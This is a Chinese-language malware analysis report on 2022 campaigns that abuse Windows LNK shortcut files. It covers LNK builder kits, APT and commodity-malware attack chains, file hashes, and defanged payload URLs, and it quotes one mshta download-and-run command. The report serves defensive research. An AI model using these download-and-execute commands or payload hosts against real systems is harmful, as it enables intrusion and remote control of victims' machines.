概述:恶意LNK文件活动增多
Windows快捷方式(LNK文件)作为一个可以指向多种可执行文件的”Loader“文件,在威胁攻击活动中常具有如下功能:
1、存在于开机自启目录为恶意软件建立持久化操作;
2、用于直接部署恶意软件负载。
由于这些快捷方式在部署/启用恶意软件时往往是通过合法的可执行文件,因此此类攻击方式一直较受攻击者的青睐。
自Microsoft宣布Office应用程序将默认禁用不受信任来源的文档中的Office宏执行,攻击者使用替代媒介(例如恶意Windows应用程序和快捷方式)部署恶意软件的活动显著增加。
近日,SentinelLabs在对2021年7月14日至2022年7月14日期间提交给VirusTotal的27510个报毒30+的LNK文件样本进行分析后发现,2021年与2022年提交的恶意LNK文件占比分别为31.11%以及68.89%,2022年提交至VT的恶意LNK文件相较2021年翻了一倍之多。
其中执行占比前四的可执行文件分别是:
•cmd.exe:Windows命令解释器,可执行Windows命令和任意可执行文件
•rundll32.exe:可在 Windows DLL 中执行任意代码
•wscript.exe:Windows脚本执行环境,可执行任意脚本代码
•powershell.exe:PowerShell脚本引擎的命令解释器
而利用cmd.exe执行的Windows命令按功能又可分为:
•控制流:exit、goto、for等
•文件操作:copy、attrib、expand等
•可执行文件/代码执行:powershell、wscript、rundll32、msiexec、explorer、start、regsv[r3]2等
•信息收集、侦察、系统配置:findstr、set、ping、net等
•消息传递/控制台输出:cls、msg、echo、rem等
研究:恶意LNK文件如何构建
目前研究人员观察到,恶意LNK文件主要由mLNK和QuantumBuilder工具进行构建,其最新版本包含了许多用于逃避的检测的功能。
mLNK
2022年6月,该工具更新至v4.2版本,下图为mLNK v4.2在NativeOne网站上发布的相关介绍。据介绍,该构建器具有3种加密方式(AES-256、Rijndael、3-DES),可将任何EXE、DLL、VBS、JS转换为LNK文件,并绕过Windows Defender运行。目前public发行版的价格为$100/月,$125/月的private版本则包含更多规避机制。
QuantumBuilder
2022年5月,猎影实验室研究人员观察到俄罗斯网络犯罪论坛上发布QuantumBuilder广告,其中提到“宏代码很大程度上已死”并借用安全厂商Cyble发布的分析报告描述其功能“完备”。此外,发布者描述该构建器提供300+可伪装的图标;每个LNK文件具有多个有效负载等。该工具分别以€189/月、€389/月出售其public以及private版。
ApoLNKSPLOIT
ApoLNKSPLOIT工具最早发布于2020年8月,该构建器声称可绕过Windows Defender以及主流杀软Avast/Avria,定价为$90/永久。该软件在21年3月流传出破解版。
分析:2022年上半年利用恶意LNK文件的威胁组织
APT组织
今年上半年利用LNK文件频繁进行攻击活动的APT组织如下:
1.SideCopy/SideWinder
南亚地区的APT组织SideCopy以模仿"敌对"组织SideWinder的TTPs得名,其惯用的手法是在钓鱼邮件中附加包含LNK文件的RAR压缩包,待目标用户解压附件后引导其执行伪装成PDF或其他Office文档的LNK文件以下载后续。
经典利用手法如下图所示:该流程图出自《SideCopy近期针对印度地区攻击活动分析》。其中LNK文件的利用方式为:通过mshta.exe执行后续HTA文件。
2.Gamaredon
在猎影实验室上半年捕获的Gamaredon样本中,LNK文件利用可分为如下两种情况:
1通过LNK文件下载并执行MSI Install,最后加载恶意DLL执行
文件名 | Hash |
Исх.116 от 08.02.2022г.rar | 7c1626fcaf47cdfe8aaed008d4421d8c |
Письмо №116 от 08.02.2022г_docx.lnk | 5f568c80ab68a4132506f29ede076679 |
0802adqeczoL7.msi | c3564bde7b49322f2bacdc495146cfbc |
LNK文件内容解析如下:其中LNK文件的利用方式为,通过msiexec.exe执行后续MSI文件。
下载的MSI程序将在本地释放NSIS可执行文件,用于加载后续恶意DLL文件。
2通过LNK文件执行VBScript指令,最后加载GammaLoad.PS1_v2。
文件名 | Hash |
Інформаційнийбюлетень.eml | db2ef75b29ecd474dae3ba1361aa6a74 |
Інформаційнийбюлетень_25.07.2022.htm | c88ce71fafbbccb1a8b3e5f9f8e8b771 |
Попереднєбойоверозпорядження_10.07.2022.html | 6afec7a8806a7befccd6938137a39495 |
邮件仿冒乌克兰国家安全服务学院并提供htm附件
附件包含有RAR文件
解压后为LNK文件,LNK文件将加载hxxp://a0698649.xsph[.]ru/selection/headache.xml执行VBScript脚本及GammaLoad.PS1_v2。
3.伪猎者
今年上半年,在攻击链中利用了LNK文件的伪猎者组织的样本同样进入了我们的视野。其中LNK文件的利用方式为:通过cmd.exeecho|set拼接出指令“mshtahxxp://82.221.129.104/k0201.txt”执行并获取后续。
捕获到的样本信息如下:
文件名 | Hash |
Online questionnaire-Exploring ways to cooperate with North Korea.rar | 9c18e377ba2e0292e3037e87b4b6fde2 |
此次捕获样本话题为《探索与朝鲜合作方式的在线问卷调查》,文件解压后包含LNK文件与诱饵文档,其中诱饵文档文件名为Yura Sung-self introduction(With CV).docx Yura Sung自我介绍(附简历),标题为I would enjoy meeting you to further discuss my application(我很乐意与您会面,进一步讨论我的申请) ,诱饵文件内容如下:
LNK文件包含的指令如下图所示,即执行 hxxp://82.221.129.104/k0201.txt
k0201.txt中包含的指令将继续跳转至hxxp://82.221.129.104/k0201jo.txt
k0201jo.txt文件内容如下
随后下载 hxxp://131.226.4.22/manager/JxQpe5T2nCn747UP.bmp到本地并解密。解密后的DLL文件为cd50779b29b988d9732d9d39ec04420f mssysmon.db,该文件启动后重新加载自身并调用导出函数tdstart()
创建互斥体防止样本多开
新建线程,检查网络连接,判断本机对msn.com以及google.com的访问
获取本机信息以"%s%s%s%s%s%s%d%s%s%s", ComputerName, ">", UserName, ">[", ProductName, " ", v19, "][", a5, "]" 格式化拼接,拼接结果如下:WIN-5FEAKP*****>User>[Windows 7 Professional 64][MBCYREFVEESO],之后窃取本机其他数据进行上传。
以及获取后续到本机执行,
该样本攻击流程符合友商发布的2021年上半年APT研究报告中披露的新组织伪猎者,攻击目标也与伪猎者重合,均为人力资源相关,针对目标发送伪装简历的恶意文件。因此判定该样本来源APT组织伪猎者。此外,该组织与另一友商披露的APT-Q-12组织样本特征也有重合之处。
4.Lazarus
Lazarus APT组织以攻击手法多样,攻击目标广泛著称。猎影实验室捕获的Lazarus 2022年上半年的攻击样本,按执行流程可分为三类:(1)宏代码下载后续负载;(2)ZIP+LNK的形式;(3)伪装成PDF的EXE文件。
这些样本根据攻击方向又可大致分为:(1)针对加密货币公司;(2)针对航空航天企业。本报告讨论仅讨论其利用LNK文件的攻击活动。
猎影实验室在8月初捕获到的样本信息如下:
文件名 | Hash |
New_Profit_Distributions_2022.zip | 282cfed88671632ec188be263572073c |
New_Profit_Distributions_2022.pdf.lnk | ac391287f941ea6216242a01b43bf93c |
veafdsag.msi | 9c784bc006e5919110cd10e0825dca2d |
LNK文件的利用方式为:通过expand将用于执行MSI的二进制可执行文件msiexec.exe复制到%appdata%目录下重命名为nec.exe,然后利用nec加载MSI文件hxxp://dps.shconstmarket[.]com/veafdsag.msi?devop=PZbTqoGr
MSI文件中包含VBS脚本,
脚本加载后将访问hxxps://inst.shconstmarket[.]com/distributions.pdf展示主题为员工奖金计划的PDF诱饵文件。
接着在%Temp%目录下创建abo.lnk、释放RgdASRgrsF.js文件、将abo.lnk文件复制到Startup开机自启目录并更名为Edge.lnk。
其中LNK文件内容如下,仍为获取MSI后续,
检索本机进程是否存在kwsprot(金山毒霸)、npprot(NPAV)、fshoster (F-Secure),如若存在相关杀软进程,则脚本启动icb.exe进程,不存在则将web.shconstmarket[.]com作为参数启动RgdASRgrsF.js
RgdASRgrsF.js脚本将根据传参进一步获取后续负载执行,
本次捕获样本与Lazarus/CryptoCore的关联:
(1)均通过WScript.arguments传递参数
(2)通信数据中使用伪随机算法
(3)休眠一定时间后循环进行请求
根据样本特征关联到另一同源样本信息如下
文件名 | Hash |
Ledger_Nano_S&X_Security_Patch_Manual.zip | 92316f57336eff3efef51dabc723b5dd |
Ledger_Nano_SX_Security_Patch_Manual.pdf.lnk | b0dd685440c27d3183cf7ae2445232af |
msi | c4bfaaf21a045bec3d4fde9e0291cf29 |
整体攻击流程同上所述
脚本加载后将访问hxxps://inst.shconstmarket.com/rmanual.pdf
诱饵文件如下,为加密货币硬件钱包Ledger Nano安全补丁手册,可见其孜孜不倦地针对加密货币行业。
通用威胁
1.通过ISO+LNK文件释放RDPWrap
RDPWrap是一个允许RDP访问主机的开源工具,猎影实验室在日常威胁狩猎中捕获一例利用ISO+LNK文件释放RDPWrap的恶意样本,其基本信息如下:
文件名 | Hash |
documents.iso | 62655c77982dbea9bfd30d0004862228 |
lnk | 2828f49cde16e65a1bee0c5c44aed8cc |
steg 1 LNK文件通过启动powershell.exe直接加载Powershell指令,
该Powershell指令将执行hxxps://sgtmarkets.com/h.hta
steg 2 通过Wscript.Shell执行Powershell指令,
通过进一步解码发现下一阶段负载仍由Powershell执行。
steg 3 下载后续hxxps://sgtmarkets.com/D.pdf -> C:\Users\Users\AppData\Roaming\D.pdf,hxxps://sgtmarkets.com/mt4.exe -> C:\Users\Users\AppData\Roaming\mt4.exe
文件名 | Hash |
1c32d785398e3a7eaab0e9b876903cc6 | |
mt4.exe | 3bc9680077b[50ad074e607b3ba700edc |
rdpwrap.dll | 461ade40b800ae80a40985594e1ac236 |
其中PDF文件为空白文件,mt4.exe文件运行后通过多层加载shellcode最终在本地释放rdpwrap.dll
经分析,该DLL为RDPWrap,是一个允许RDP访问主机的开源工具。值得一提的是,CrowdStrike在21年报告中提到威胁组织DarkOxide曾利用相似攻击链下发RDPWrap。
2.通过ISO+LNK文件释放IcedID
IcedID(又名BokBot),是一种模块化银行木马,于2017年开始活跃,擅长利用宏代码下发后续恶意负载。近日被猎影实验室研究人员观察到该恶意软件开始频繁利用LNK文件进行后续负载分发。
文件名 | Hash |
Document.iso | ddb208d0d886b85bea48a07abdeaad84 |
Invoice.lnk | c29d6fc092698aafe01ece64da57254f |
该恶意LNK文件(Invoice.lnk)也是通过powershell.exe直接加载Powershell指令,加载指令如下图所示:
文件名 | Hash |
5h.hta | 1f97c5d40a38bd22e9dedacfcf98156f |
1.dll | 35999cd6417ae33f264178adb800d560 |
与上述利用方式相似,从hxxp://comradespoon[.]com/1.dll加载下一阶段DLL文件(IcedID恶意负载)执行
此外Twitter社区研究人员还披露了另一种IcedID利用LNK文件加载的攻击方式,即通过LNK文件启动cmd,最后通过脚本启动IcedID:.zip > .iso > .lnk > .cmd > wscript > .dll
3.通过LNK文件释放最新版Remcos
Remcos最初是作为远程控制计算机的专业工具而设计的一款商业软件。然而该软件自2016年7月21日发布第一个版本以来一直被攻击者滥用以控制受害者的设备,因此被认为是恶意软件系列。目前已发布至3.6.1版本。
此次捕获的相关利用LNK文件信息如下:
文件名 | Hash |
PNC Remittance Advice.lnk | 82e233fdd95c7e7c81d09ccc5823edd9 |
LNK文件通过cmd.exe + powershell参数加载带有混淆的Powershell指令
指令去除部分混淆后如下,其功能为下载hxxp://66.154.103[.]196/bin.vbs到本地C:\Users\Public\mihz.vbs、下载hxxps://transfer.sh/y8azBF/titust.pdf(诱饵文件)到当前文件夹。
VBS文件运行后判断自身运行路径是否为%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\,若非由自启动目录运行,则将自身移动到该目录进行持久化操作
若为该目录运行,则在内存中执行Powershell指令。执行的Powershell指令如下:
其中变量$gf解码后为下一阶段Powershell指令,该指令将下载hxxp://66.154.103[.]196/bin.jpg并加载执行
bin.jpg实际还是一段Powershell指令,执行后解压Remcos Loader,该Loader由C#编写,功能为加载Remcos Payload
其中变量$IlMS解密得到tMCfkSD()函数如下,用于解压Remcos Loader
经分析,本次捕获的Remcos为最新版3.6.1 Pro版本,此版本加解密算法由RC4更新为AES-128,使用TLS v1.3与C2进行通信,控制命令增加到87种,可分为如下几类:
• 系统:屏幕截图、文件管理、文件查询、进程管理等
• 监控:摄像头、麦克风、键盘记录、截屏记录等
• 网络:代理设置、下载文件、打开网页等
• 外部:DLL加载、凭据清除、音频播放等
•Remcos:重连、重启、更新、关闭、卸载等
•心跳包
结论:恶意LNK文件的检测与防范
对比可以发现,APT组织在利用LNK文件时,往往将其用做“Downloader”以减少代码特征的露出,而通用威胁则倾向将Powershell指令直接隐藏在LNK文件中,通过混淆达到逃避静态检测的效果。
此外,由于攻击目的不同,高级威胁组织在LNK文件命名方面更具有政治、军事针对性及迷惑性,通用威胁旨在对目标财产进行窃取,所使用的文件名一般是与发[票、收据等财产相关文件名。防范此类恶意文件攻击的方法之一为运行前检查文件属性,确认文件非伪装的DOC、PDF、文件夹等。
本文列举了近一个月内利用LNK文件进行攻击的部分高级威胁/通用威胁组织,篇幅有限,许多恶意软件例如Bumblebee、QBot、Emotet、AsyncRAT等恶意软件对LNK文件的利用活动未能详尽叙述,但新的攻击浪潮已然来临,安恒猎影实验室在此提醒广大用户仔细甄别电子邮件中的发送方,不随意点击未知附件及下载链接,做好对自身网络资产的防护措施。如需对附件及链接内容进行查验,可投递至安恒云沙箱查看判别结果后再进行后续操作。